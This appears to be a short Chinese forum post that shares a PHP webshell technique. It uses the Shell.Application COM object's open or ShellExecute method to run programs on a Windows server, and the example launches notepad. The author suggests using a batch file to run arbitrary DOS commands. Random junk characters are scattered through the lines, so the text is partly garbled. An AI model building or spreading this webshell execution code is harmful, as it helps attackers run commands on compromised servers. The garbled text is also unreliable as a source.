关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
" S I! G e: U7 ^. [# l$ Q/ s: d5 T9 H7 f
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法1 y: i2 V, m6 q/ }
: V. ^9 G3 D. ]+ l* ]. H
<?php
; O/ o. J9 {/ ~$wsh = new COM('Shell.Application') or die("Shell.Application");
- R K: B7 j* e& Y1 j. l! Q $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");% J Z) e7 U) t; V8 G+ w8 z
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
: A+ r" F9 u1 a4 f& Y. W?>
' z$ [4 {0 p0 S7 g- E
( k# U- I2 K4 k5 ^ hxp+APMServ5.2.0测试通过。7 |* `* s+ B7 ~) G0 B R. p
|